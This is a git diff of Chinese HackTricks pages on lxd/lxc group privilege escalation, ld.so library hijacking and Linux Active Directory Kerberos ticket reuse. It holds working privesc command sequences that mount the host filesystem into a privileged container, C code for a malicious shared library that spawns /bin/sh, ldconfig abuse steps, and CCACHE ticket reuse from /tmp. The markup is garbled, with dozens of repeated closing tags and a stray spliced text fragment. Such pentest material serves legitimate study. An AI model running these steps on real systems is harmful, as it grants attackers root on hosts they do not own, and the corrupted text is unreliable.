* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,50 @@
|
|||
# lxd/lxc Group - 提权
|
||||
# lxd/lxc 组 - 权限提升
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
如果您属于_lxd_ **或** _lxc_ **组**,您可以成为root
|
||||
如果你属于 _**lxd**_ **或** _**lxc**_ **组**,你可以成为 root
|
||||
|
||||
## 在没有互联网的情况下利用
|
||||
## 无需互联网的利用
|
||||
|
||||
### 方法1
|
||||
### 方法 1
|
||||
|
||||
您可以在您的计算机上安装此发行版构建工具:[https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(按照github上的说明操作):
|
||||
你可以在你的机器上安装这个发行版构建工具:[https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(按照 GitHub 的说明进行操作):
|
||||
```bash
|
||||
sudo su
|
||||
#Install requirements
|
||||
|
@ -38,7 +62,7 @@ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
|
|||
#Create the container
|
||||
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
|
||||
```
|
||||
上传文件 **lxd.tar.xz** 和 **rootfs.squashfs**,将图像添加到存储库并创建一个容器:
|
||||
上传文件 **lxd.tar.xz** 和 **rootfs.squashfs**,将镜像添加到仓库并创建一个容器:
|
||||
```bash
|
||||
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
|
||||
|
||||
|
@ -54,11 +78,11 @@ lxc list
|
|||
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
如果你遇到这个错误 _**Error: No storage pool found. Please create a new storage pool**_\
|
||||
运行 **`lxd init`** 然后**重复**之前的命令块
|
||||
如果您发现此错误 _**错误:未找到存储池。请创建一个新的存储池**_\
|
||||
运行 **`lxd init`** 并 **重复** 之前的命令块
|
||||
{% endhint %}
|
||||
|
||||
最后,你可以执行容器并获取 root 权限:
|
||||
最后,您可以执行容器并获取 root:
|
||||
```bash
|
||||
lxc start privesc
|
||||
lxc exec privesc /bin/sh
|
||||
|
@ -66,7 +90,7 @@ lxc exec privesc /bin/sh
|
|||
```
|
||||
### 方法 2
|
||||
|
||||
构建一个 Alpine 镜像,并使用标志 `security.privileged=true` 启动它,强制容器以 root 用户的身份与主机文件系统交互。
|
||||
构建一个 Alpine 镜像并使用标志 `security.privileged=true` 启动它,强制容器以 root 身份与主机文件系统交互。
|
||||
```bash
|
||||
# build a simple alpine image
|
||||
git clone https://github.com/saghul/lxd-alpine-builder
|
||||
|
@ -86,35 +110,65 @@ lxc init myimage mycontainer -c security.privileged=true
|
|||
# mount the /root into the image
|
||||
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
|
||||
|
||||
# interact with the container
|
||||
lxc start mycontainer
|
||||
lxc exec mycontainer /bin/sh
|
||||
```
|
||||
## 通过互联网
|
||||
|
||||
您可以按照[这些说明](https://reboare.github.io/lxd/lxd-escape.html)。
|
||||
```bash
|
||||
lxc init ubuntu:16.04 test -c security.privileged=true
|
||||
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
|
||||
lxc start test
|
||||
lxc exec test bash
|
||||
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
|
||||
```
|
||||
## 参考资料
|
||||
|
||||
* [https://reboare.github.io/lxd/lxd-escape.html](https://reboare.github.io/lxd/lxd-escape.html)
|
||||
* [https://etcpwd13.github.io/greyfriar_blog/blog/writeup/Notes-Included/](https://etcpwd13.github.io/greyfriar_blog/blog/writeup/Notes-Included/)
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,32 @@
|
|||
# ld.so 权限提升漏洞示例
|
||||
# ld.so privesc exploit example
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## 准备环境
|
||||
|
||||
在以下部分,您可以找到我们将用来准备环境的文件代码
|
||||
在以下部分,您可以找到我们将用于准备环境的文件代码
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="sharedvuln.c" %}
|
||||
|
@ -52,14 +62,14 @@ puts("Hi");
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
1. **创建** 你的机器上同一文件夹中的这些文件
|
||||
2. **编译** **库文件**:`gcc -shared -o libcustom.so -fPIC libcustom.c`
|
||||
3. **复制** `libcustom.so` 到 `/usr/lib`:`sudo cp libcustom.so /usr/lib`(需要root权限)
|
||||
4. **编译** **可执行文件**:`gcc sharedvuln.c -o sharedvuln -lcustom`
|
||||
1. **在**您的机器上在同一文件夹中**创建**这些文件
|
||||
2. **编译**库:`gcc -shared -o libcustom.so -fPIC libcustom.c`
|
||||
3. **复制**`libcustom.so`到`/usr/lib`:`sudo cp libcustom.so /usr/lib`(root权限)
|
||||
4. **编译**可执行文件:`gcc sharedvuln.c -o sharedvuln -lcustom`
|
||||
|
||||
### 检查环境
|
||||
|
||||
确认 _libcustom.so_ 正在从 _/usr/lib_ **加载**,并且你可以**执行**二进制文件。
|
||||
检查_libcustom.so_是否从_/usr/lib_被**加载**,并且您可以**执行**该二进制文件。
|
||||
```
|
||||
$ ldd sharedvuln
|
||||
linux-vdso.so.1 => (0x00007ffc9a1f7000)
|
||||
|
@ -71,16 +81,14 @@ $ ./sharedvuln
|
|||
Welcome to my amazing application!
|
||||
Hi
|
||||
```
|
||||
## 利用
|
||||
## Exploit
|
||||
|
||||
在这个场景中,我们假设**有人在_/etc/ld.so.conf/_文件中创建了一个易受攻击的条目**:
|
||||
在这个场景中,我们假设**某人已经在 _/etc/ld.so.conf/_ 文件中创建了一个漏洞条目**:
|
||||
```bash
|
||||
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
|
||||
```
|
||||
```markdown
|
||||
易受攻击的文件夹是 _/home/ubuntu/lib_(我们有写入权限的地方)。
|
||||
**下载并编译**以下代码在该路径内:
|
||||
```
|
||||
易受攻击的文件夹是 _/home/ubuntu/lib_(我们有可写访问权限)。\
|
||||
**下载并编译**以下代码到该路径:
|
||||
```c
|
||||
//gcc -shared -o libcustom.so -fPIC libcustom.c
|
||||
|
||||
|
@ -95,9 +103,9 @@ printf("I'm the bad library\n");
|
|||
system("/bin/sh",NULL,NULL);
|
||||
}
|
||||
```
|
||||
现在我们已经在配置错误的路径中**创建了恶意的 libcustom 库**,我们需要等待**重启**或者等待 root 用户执行 **`ldconfig`**(_如果你可以作为 **sudo** 执行这个二进制文件或者它有 **suid 位**,你将能够自己执行它_)。
|
||||
现在我们已经**在错误配置的**路径中创建了恶意的 libcustom 库,我们需要等待**重启**或等待 root 用户执行 **`ldconfig`**(_如果您可以作为 **sudo** 执行此二进制文件,或者它具有 **suid 位**,您将能够自己执行它_)。
|
||||
|
||||
一旦这发生,**重新检查** `sharevuln` 可执行文件从哪里加载 `libcustom.so` 库:
|
||||
一旦发生这种情况,请**重新检查** `sharevuln` 可执行文件从哪里加载 `libcustom.so` 库:
|
||||
```c
|
||||
$ldd sharedvuln
|
||||
linux-vdso.so.1 => (0x00007ffeee766000)
|
||||
|
@ -105,7 +113,7 @@ libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
|
|||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
|
||||
```
|
||||
如您所见,它**从 `/home/ubuntu/lib` 加载**,如果任何用户执行它,将执行一个 shell:
|
||||
如您所见,它是**从 `/home/ubuntu/lib` 加载的**,如果任何用户执行它,将会执行一个 shell:
|
||||
```c
|
||||
$ ./sharedvuln
|
||||
Welcome to my amazing application!
|
||||
|
@ -114,25 +122,25 @@ $ whoami
|
|||
ubuntu
|
||||
```
|
||||
{% hint style="info" %}
|
||||
请注意,在此示例中我们并未提升权限,但通过修改执行的命令并**等待 root 或其他具有特权的用户执行易受攻击的二进制文件**,我们将能够提升权限。
|
||||
注意,在这个例子中我们没有提升权限,但通过修改执行的命令并**等待root或其他特权用户执行易受攻击的二进制文件**,我们将能够提升权限。
|
||||
{% endhint %}
|
||||
|
||||
### 其他错误配置 - 相同漏洞
|
||||
|
||||
在前面的示例中,我们伪造了一个错误配置,管理员在 `/etc/ld.so.conf.d/` 内的配置文件中**设置了一个非特权文件夹**。\
|
||||
但是,如果您对 `/etc/ld.so.conf.d` 内的某些**配置文件**、文件夹 `/etc/ld.so.conf.d` 或文件 `/etc/ld.so.conf` 有**写权限**,还有其他错误配置可能导致相同的漏洞,您可以配置相同的漏洞并利用它。
|
||||
在前面的例子中,我们伪造了一个错误配置,其中管理员**在`/etc/ld.so.conf.d/`中的配置文件内设置了一个非特权文件夹**。\
|
||||
但是还有其他错误配置可能导致相同的漏洞,如果你在`/etc/ld.so.conf.d`中的某个**配置文件**、`/etc/ld.so.conf.d`文件夹或`/etc/ld.so.conf`文件中具有**写权限**,你可以配置相同的漏洞并加以利用。
|
||||
|
||||
## 利用 2
|
||||
## Exploit 2
|
||||
|
||||
**假设您对 `ldconfig` 有 sudo 权限**。\
|
||||
您可以指示 `ldconfig` **从哪里加载配置文件**,因此我们可以利用它让 `ldconfig` 加载任意文件夹。\
|
||||
那么,让我们创建文件和文件夹以加载 "/tmp":
|
||||
**假设你对`ldconfig`具有sudo权限**。\
|
||||
你可以指示`ldconfig`**从哪里加载配置文件**,因此我们可以利用它使`ldconfig`加载任意文件夹。\
|
||||
所以,让我们创建加载"/tmp"所需的文件和文件夹:
|
||||
```bash
|
||||
cd /tmp
|
||||
echo "include /tmp/conf/*" > fake.ld.so.conf
|
||||
echo "/tmp" > conf/evil.conf
|
||||
```
|
||||
现在,如**前面的漏洞**所示,**在`/tmp`内创建恶意库**。\
|
||||
现在,如**前面的漏洞**所示,**在 `/tmp` 中创建恶意库**。\
|
||||
最后,让我们加载路径并检查二进制文件从哪里加载库:
|
||||
```bash
|
||||
ldconfig -f fake.ld.so.conf
|
||||
|
@ -143,28 +151,36 @@ libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
|
|||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
|
||||
```
|
||||
**正如您所见,如果您对`ldconfig`有sudo权限,您可以利用相同的漏洞。**
|
||||
**正如您所看到的,拥有 `ldconfig` 的 sudo 权限,您可以利用相同的漏洞。**
|
||||
|
||||
{% hint style="info" %}
|
||||
我**没有找到**一个可靠的方法来利用这个漏洞,如果`ldconfig`配置了**suid位**。以下错误会出现:`/sbin/ldconfig.real: Can't create temporary cache file /etc/ld.so.cache~: Permission denied`
|
||||
{% endhint %}
|
||||
|
||||
## 参考资料
|
||||
|
||||
* [https://www.boiteaklou.fr/Abusing-Shared-Libraries.html](https://www.boiteaklou.fr/Abusing-Shared-Libraries.html)
|
||||
* [https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2](https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2)
|
||||
* HTB中的Dab机器
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,31 @@
|
|||
# Linux Active Directory
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?想要在HackTricks中看到您的**公司广告**?或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[NFTs收藏](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
在Active Directory环境中也可能存在Linux机器。
|
||||
一台 Linux 机器也可以存在于 Active Directory 环境中。
|
||||
|
||||
在AD中的Linux机器可能会**在文件中存储不同的CCACHE票证。这些票证可以像其他Kerberos票证一样被使用和滥用**。要读取这些票证,您需要成为票证的用户所有者或者是机器内的**root**。
|
||||
在 AD 中的 Linux 机器可能会 **在文件中存储不同的 CCACHE 票证。这些票证可以像其他任何 Kerberos 票证一样被使用和滥用**。要读取这些票证,您需要是票证的用户所有者或 **root** 用户。
|
||||
|
||||
## 枚举
|
||||
|
||||
### 从Linux进行AD枚举
|
||||
### 从 Linux 进行 AD 枚举
|
||||
|
||||
如果您在Linux中(或Windows的bash中)可以访问AD,您可以尝试使用[https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn)来枚举AD。
|
||||
如果您在 Linux(或 Windows 的 bash)中访问 AD,您可以尝试 [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) 来枚举 AD。
|
||||
|
||||
您还可以查看以下页面,了解**从Linux枚举AD的其他方法**:
|
||||
您还可以查看以下页面以了解 **从 Linux 枚举 AD 的其他方法**:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||
|
@ -30,7 +33,7 @@
|
|||
|
||||
### FreeIPA
|
||||
|
||||
FreeIPA是Microsoft Windows **Active Directory**的开源**替代方案**,主要用于**Unix**环境。它将完整的**LDAP目录**与MIT **Kerberos**密钥分发中心相结合,用于类似Active Directory的管理。利用Dogtag **证书系统**进行CA和RA证书管理,支持**多因素**身份验证,包括智能卡。SSSD用于Unix身份验证过程。在以下链接中了解更多信息:
|
||||
FreeIPA 是一个开源的 **替代品**,用于 Microsoft Windows **Active Directory**,主要用于 **Unix** 环境。它结合了一个完整的 **LDAP 目录** 和一个 MIT **Kerberos** 密钥分发中心,管理方式类似于 Active Directory。利用 Dogtag **证书系统**进行 CA 和 RA 证书管理,支持 **多因素** 身份验证,包括智能卡。集成了 SSSD 以进行 Unix 身份验证过程。了解更多信息:
|
||||
|
||||
{% content-ref url="../freeipa-pentesting.md" %}
|
||||
[freeipa-pentesting.md](../freeipa-pentesting.md)
|
||||
|
@ -38,19 +41,19 @@ FreeIPA是Microsoft Windows **Active Directory**的开源**替代方案**,主
|
|||
|
||||
## 操作票证
|
||||
|
||||
### 传递票证
|
||||
### Pass The Ticket
|
||||
|
||||
在这个页面,您将找到Linux主机中可能**找到Kerberos票证的不同位置**,在下一个页面中,您可以了解如何将这些CCache票证格式转换为Kirbi(您需要在Windows中使用的格式),以及如何执行PTT攻击:
|
||||
在此页面中,您将找到不同的地方,您可以 **在 Linux 主机中找到 Kerberos 票证**,在以下页面中,您可以了解如何将这些 CCache 票证格式转换为 Kirbi(您在 Windows 中需要使用的格式),以及如何执行 PTT 攻击:
|
||||
|
||||
{% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %}
|
||||
[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 从/tmp重用CCACHE票证
|
||||
### 从 /tmp 重用 CCACHE 票证
|
||||
|
||||
CCACHE文件是用于**存储Kerberos凭据的二进制格式**,通常以600权限存储在`/tmp`中。这些文件可以通过其**名称格式`krb5cc_%{uid}`**进行识别,与用户的UID相关联。对于身份验证票证验证,应将**环境变量`KRB5CCNAME`**设置为所需票证文件的路径,从而使其可以重用。
|
||||
CCACHE 文件是用于 **存储 Kerberos 凭据** 的二进制格式,通常以 600 权限存储在 `/tmp` 中。这些文件可以通过其 **名称格式 `krb5cc_%{uid}`** 进行识别,与用户的 UID 相关联。要验证身份验证票证,**环境变量 `KRB5CCNAME`** 应设置为所需票证文件的路径,以便重用。
|
||||
|
||||
